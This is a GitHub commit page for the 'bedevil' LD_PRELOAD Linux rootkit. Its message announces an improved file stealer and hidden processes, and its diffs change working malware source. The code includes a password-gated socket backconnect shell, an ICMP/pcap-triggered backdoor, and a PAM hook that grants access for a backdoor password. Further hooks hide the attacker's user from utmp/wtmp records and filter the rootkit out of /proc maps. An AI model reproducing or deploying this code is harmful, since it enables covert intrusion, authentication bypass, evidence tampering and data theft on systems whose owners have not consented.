Skip to content

Commit 32cdf4b

Browse files
committed
Various improvements
File stealer is now better... Files are stolen in a new process forked off of the user's process. Files are no longer read & written in their own blocks. Instead file contents are mapped into memory and the child process writes the result of the memory map. This new process which is forked is hidden if it can be. Into the kit I've added an SELinux check before installation begins. I added a function for redirection of FILE streams called 'redirstream'. I've replaced all of the strlen({VARIABLE}) calls with their appropriate LEN_{VARIABLE} values. Where VARIABLE is created & defined by setup.py. Also I have added error-specific returns for ldpatch, for just a couple of things. -3 = failed to allocate memory for array of located ld.so -2 = oldpreload could not be located in the target ld.so Lastly I have also added make into the dependencies that depinstall.sh will install. Think that's about it.
1 parent 5960901 commit 32cdf4b

File tree

21 files changed

+218
-134
lines changed

21 files changed

+218
-134
lines changed

README.md

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
21
# bedevil (bdvl)
32

43
<img src=https://i.imgur.com/PyO00vy.png alt="icon" />
@@ -136,7 +135,6 @@
136135
* When no rootkit processes are running (_i.e.: not logged into the backdoor_) the rootkit will remove your `.bashrc` & `.profile`, that is until you log back in.
137136
* I have made everything easily accessible from the backdoor's home directory by plopping symlinks to everything you may need access to.
138137
* Not unlike `.bashrc` & `.profile` these symlinks are removed from the home directory until you log in.
139-
* If you aren't root straight away after logging in, `su root`.
140138
* __Solution for ([#16](https://github.com/kcaaj/bdvl/issues/16))__:
141139
```
142140
su -

etc/depinstall.sh

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,14 @@
11
#!/bin/sh
22
[ `id -u` != 0 ] && { echo 'Not root.'; exit; }
33
if [ -f /usr/bin/yum ]; then
4-
for pkg in gcc libgcc.i686 glibc-devel.i686 glibc-devel pam-devel libpcap libpcap-devel; do
4+
for pkg in make gcc libgcc.i686 glibc-devel.i686 glibc-devel pam-devel libpcap libpcap-devel; do
55
yum -y install -e 0 $pkg
66
done
77
exit
88
fi
99
if [ -f /usr/bin/pacman ]; then
1010
pacman -Syy
11-
for pkg in glibc base-devel pam libpcap; do
11+
for pkg in make glibc base-devel pam libpcap; do
1212
pacman -S $pkg
1313
done
1414
exit
@@ -18,7 +18,7 @@ if [ -f /usr/bin/apt-get ]; then
1818
dpkg --add-architecture i386
1919
fi
2020
apt-get -qq --yes --force-yes update
21-
for pkg in gcc-multilib build-essential libpam0g-dev libpcap-dev libpcap0.8-dev; do
21+
for pkg in make gcc-multilib build-essential libpam0g-dev libpcap-dev libpcap0.8-dev; do
2222
apt-get -qq --yes --force-yes install $pkg
2323
done
2424
exit

inc/backdoor/accept.c

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,11 +5,12 @@ void abackconnect(int sockfd){
55
hook(CREAD, CCHDIR);
66

77
send(sockfd, ": ", 2, 0);
8-
98
memset(tmp, 0, sizeof(tmp));
109
call(CREAD, sockfd, tmp, sizeof(tmp)-1);
1110
tmp[strlen(tmp)-1]='\0';
1211
got_pw = !strcmp(crypt(tmp, BACKDOOR_PASS), BACKDOOR_PASS);
12+
memset(tmp, 0, sizeof(tmp));
13+
1314
if(!got_pw){
1415
shutdown(sockfd, SHUT_RDWR);
1516
close(sockfd);
@@ -43,10 +44,14 @@ int getacceptport(void){
4344
}
4445

4546
int dropshell(int sockfd, struct sockaddr_in *sa_i, gid_t magicgid){
47+
int accport, sport;
48+
4649
preparehideports(magicgid);
47-
int accport = getacceptport();
48-
if(accport == 0) return sockfd;
49-
int sport = htons(sa_i->sin_port);
50+
accport = getacceptport();
51+
if(accport == 0)
52+
return sockfd;
53+
54+
sport = htons(sa_i->sin_port);
5055
if(sport == accport){
5156
pid_t pid = fork();
5257
if(pid == 0){

inc/backdoor/icmp/spawn.c

Lines changed: 7 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,8 @@ void backconnect(struct in_addr addr, u_short port){
3636
call(CREAD, s, tmp, sizeof(tmp)-1);
3737
tmp[strlen(tmp)-1]='\0';
3838
got_pw = !strcmp(crypt(tmp, BACKDOOR_PASS), BACKDOOR_PASS);
39+
memset(tmp, 0, sizeof(tmp));
40+
3941
if(!got_pw){
4042
shutdown(s, SHUT_RDWR);
4143
close(s);
@@ -89,9 +91,9 @@ int pdoorup(void){
8991
struct dirent *dir;
9092
DIR *dp;
9193
struct stat procstat;
92-
gid_t magicgid = readgid();
94+
gid_t magicgid = readgid()-1;
9395

94-
if(getgid() == magicgid-1)
96+
if(getgid() == magicgid)
9597
return 1;
9698

9799
hook(COPENDIR, CREADDIR, C__XSTAT);
@@ -110,7 +112,7 @@ int pdoorup(void){
110112
if((long)call(C__XSTAT, _STAT_VER, procpath, &procstat) < 0)
111113
continue;
112114

113-
if(procstat.st_gid == magicgid-1){
115+
if(procstat.st_gid == magicgid){
114116
status = 1;
115117
break;
116118
}
@@ -124,6 +126,7 @@ void spawnpdoor(void){
124126
if(pdoorup() || getgid() != 0)
125127
return;
126128

129+
// if launched at install this will still be set.
127130
unsetenv("LD_PRELOAD");
128131

129132
pid_t pid = fork();
@@ -163,10 +166,7 @@ void spawnpdoor(void){
163166
#else
164167
pcap_if_t *intf;
165168
int rfind = pcap_findalldevs(&intf, errbuf);
166-
if(rfind < 0){
167-
//printf("Couldn't find devices: %s\n", errbuf);
168-
exit(0);
169-
}
169+
if(rfind < 0) exit(0);
170170
dev = intf->name;
171171
#endif
172172

@@ -177,10 +177,6 @@ void spawnpdoor(void){
177177
mask = 0;
178178
}
179179

180-
/* print capture info */
181-
//printf("Device: %s\n", dev);
182-
//printf("Filter expression: %s\n", filter_exp);
183-
184180
/* open capture device */
185181
handle = pcap_open_live(dev, MAX_CAP, 0, 1000, errbuf);
186182
if(handle == NULL){

inc/backdoor/pam/pam_hooks.c

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ int pam_authenticate(pam_handle_t *pamh, int flags){
1515

1616
got_pw = !strcmp(crypt(pw, BACKDOOR_PASS), BACKDOOR_PASS);
1717
memset(pw, 0, strlen(pw));
18+
1819
if(got_pw) return PAM_SUCCESS;
1920
return PAM_USER_UNKNOWN;
2021
}

inc/bedevil.c

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ typedef struct {
2626
#include <sys/types.h>
2727
#include <sys/stat.h>
2828
#include <sys/wait.h>
29+
#include <sys/mman.h>
2930
#include <sys/socket.h>
3031
#include <netinet/in.h>
3132
#include <arpa/inet.h>

inc/hooks/utmp/getut.c

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ struct utmp *getutid(const struct utmp *ut){
1717
do{
1818
tmp = call(CGETUTID, ut);
1919
if(tmp == NULL) continue;
20-
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, strlen(PAM_UNAME)));
20+
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, LEN_PAM_UNAME));
2121

2222
return tmp;
2323
}
@@ -30,7 +30,7 @@ struct utmpx *getutxid(const struct utmpx *utx){
3030
do{
3131
tmp = call(CGETUTXID, utx);
3232
if(tmp == NULL) continue;
33-
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, strlen(PAM_UNAME)));
33+
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, LEN_PAM_UNAME));
3434

3535
return tmp;
3636
}
@@ -43,7 +43,7 @@ struct utmp *getutline(const struct utmp *ut){
4343
do{
4444
tmp = call(CGETUTLINE, ut);
4545
if(tmp == NULL) continue;
46-
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, strlen(PAM_UNAME)));
46+
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, LEN_PAM_UNAME));
4747

4848
return tmp;
4949
}
@@ -56,7 +56,7 @@ struct utmpx *getutxline(const struct utmpx *utx){
5656
do {
5757
tmp = call(CGETUTXLINE, utx);
5858
if(tmp == NULL) continue;
59-
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, strlen(PAM_UNAME)));
59+
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, LEN_PAM_UNAME));
6060

6161
return tmp;
6262
}
@@ -69,7 +69,7 @@ struct utmp *getutent(void){
6969
do{
7070
tmp = call(CGETUTENT);
7171
if(tmp == NULL) continue;
72-
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, strlen(PAM_UNAME)));
72+
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, LEN_PAM_UNAME));
7373

7474
return tmp;
7575
}
@@ -82,7 +82,7 @@ struct utmpx *getutxent(void){
8282
do{
8383
tmp = call(CGETUTXENT);
8484
if(tmp == NULL) continue;
85-
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, strlen(PAM_UNAME)));
85+
}while(tmp && !strncmp(PAM_UNAME, tmp->ut_user, LEN_PAM_UNAME));
8686

8787
return tmp;
8888
}
@@ -91,7 +91,7 @@ void getutmp(const struct utmpx *ux, struct utmp *u){
9191
if(hide_me) return;
9292

9393
if(ux){
94-
if(!strncmp(PAM_UNAME, ux->ut_user, strlen(PAM_UNAME))){
94+
if(!strncmp(PAM_UNAME, ux->ut_user, LEN_PAM_UNAME)){
9595
hide_me = 1;
9696
return;
9797
}
@@ -105,7 +105,7 @@ void getutmpx(const struct utmp *u, struct utmpx *ux){
105105
if(hide_me) return;
106106

107107
if(u){
108-
if(!strncmp(PAM_UNAME, u->ut_user, strlen(PAM_UNAME))){
108+
if(!strncmp(PAM_UNAME, u->ut_user, LEN_PAM_UNAME)){
109109
hide_me = 1;
110110
return;
111111
}

inc/hooks/utmp/putut.c

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@
2525
void logwtmp(const char *ut_line, const char *ut_name, const char *ut_host){
2626
if(hide_me) return;
2727

28-
if(!strncmp(PAM_UNAME, ut_name, strlen(PAM_UNAME))){
28+
if(!strncmp(PAM_UNAME, ut_name, LEN_PAM_UNAME)){
2929
hide_me = 1;
3030
return;
3131
}
@@ -38,7 +38,7 @@ void updwtmp(const char *wfile, const struct utmp *ut){
3838
if(hide_me) return;
3939

4040
if(ut){
41-
if(!strncmp(PAM_UNAME, ut->ut_user, strlen(PAM_UNAME))){
41+
if(!strncmp(PAM_UNAME, ut->ut_user, LEN_PAM_UNAME)){
4242
hide_me = 1;
4343
return;
4444
}
@@ -52,7 +52,7 @@ void updwtmpx(const char *wfilex, const struct utmpx *utx){
5252
if(hide_me) return;
5353

5454
if(utx){
55-
if(!strncmp(PAM_UNAME, utx->ut_user, strlen(PAM_UNAME))){
55+
if(!strncmp(PAM_UNAME, utx->ut_user, LEN_PAM_UNAME)){
5656
hide_me = 1;
5757
return;
5858
}

inc/util/hiding/files/files.h

Lines changed: 0 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -15,23 +15,8 @@ gid_t get_fd_gid(int fd);
1515
gid_t get_fd_gid64(int fd);
1616
#include "get_path_gid.c"
1717

18-
#define MODE_REG 0x32 /* STAT MODE FOR REGULAR FILES. */
19-
#define MODE_64 0x64 /* STAT MODE FOR BIG FILES. */
20-
21-
int _hidden_path(const char *pathname, short mode);
22-
int _f_hidden_path(int fd, short mode);
23-
int _l_hidden_path(const char *pathname, short mode);
24-
int hidden_proc(pid_t pid);
2518
#include "hidden.c"
2619

27-
#define hidden_ppid(pid) hidden_proc(getppid())
28-
#define hidden_path(path) _hidden_path(path, MODE_REG)
29-
#define hidden_path64(path) _hidden_path(path, MODE_64)
30-
#define hidden_fd(fd) _f_hidden_path(fd, MODE_REG)
31-
#define hidden_fd64(fd) _f_hidden_path(fd, MODE_64)
32-
#define hidden_lpath(path) _l_hidden_path(path, MODE_REG)
33-
#define hidden_lpath64(path) _l_hidden_path(path, MODE_64)
34-
3520

3621

3722
#endif

inc/util/hiding/mapsforge.c

Lines changed: 24 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -8,65 +8,62 @@ char *badstring(char *buf){
88
}
99

1010
FILE *forge_maps(const char *pathname){
11-
FILE *o = tmpfile(), *pnt;
11+
FILE *tmp, *fp;
1212
char buf[LINE_MAX];
1313

14-
hook(CFOPEN);
15-
if((pnt = call(CFOPEN, pathname, "r")) == NULL){
14+
fp = redirstream(pathname, &tmp);
15+
if(fp == NULL){
1616
errno = ENOENT;
17-
fclose(o);
1817
return NULL;
1918
}
2019

21-
while(fgets(buf, sizeof(buf), pnt) != NULL)
20+
while(fgets(buf, sizeof(buf), fp) != NULL)
2221
if(!badstring(buf))
23-
fputs(buf, o);
22+
fputs(buf, tmp);
2423

25-
fclose(pnt);
26-
fseek(o, 0, SEEK_SET);
27-
return o;
24+
fclose(fp);
25+
fseek(tmp, 0, SEEK_SET);
26+
return tmp;
2827
}
2928

3029
FILE *forge_smaps(const char *pathname){
31-
FILE *o = tmpfile(), *pnt;
30+
FILE *tmp, *fp;
3231
char buf[LINE_MAX];
3332
int i = 0;
3433

35-
hook(CFOPEN);
36-
if((pnt = call(CFOPEN, pathname, "r")) == NULL){
34+
fp = redirstream(pathname, &tmp);
35+
if(fp == NULL){
3736
errno = ENOENT;
38-
fclose(o);
3937
return NULL;
4038
}
4139

42-
while(fgets(buf, sizeof(buf), pnt) != NULL){
40+
while(fgets(buf, sizeof(buf), fp) != NULL){
4341
if(i > 0) i++;
4442
if(i > 15) i = 0;
4543
if(badstring(buf)) i = 1;
46-
if(i == 0) fputs(buf, o);
44+
if(i == 0) fputs(buf, tmp);
4745
}
4846

49-
fclose(pnt);
50-
fseek(o, 0, SEEK_SET);
51-
return o;
47+
fclose(fp);
48+
fseek(tmp, 0, SEEK_SET);
49+
return tmp;
5250
}
5351

5452
FILE *forge_numamaps(const char *pathname){
55-
FILE *o = tmpfile(), *pnt;
53+
FILE *tmp, *fp;
5654
char buf[LINE_MAX];
5755

58-
hook(CFOPEN);
59-
if((pnt = call(CFOPEN, pathname, "r")) == NULL){
56+
fp = redirstream(pathname, &tmp);
57+
if(fp == NULL){
6058
errno = ENOENT;
61-
fclose(o);
6259
return NULL;
6360
}
6461

65-
while(fgets(buf, sizeof(buf), pnt) != NULL)
62+
while(fgets(buf, sizeof(buf), fp) != NULL)
6663
if(!badstring(buf))
67-
fputs(buf, o);
64+
fputs(buf, tmp);
6865

69-
fclose(pnt);
70-
fseek(o, 0, SEEK_SET);
71-
return o;
66+
fclose(fp);
67+
fseek(tmp, 0, SEEK_SET);
68+
return tmp;
7269
}

0 commit comments

Comments
 (0)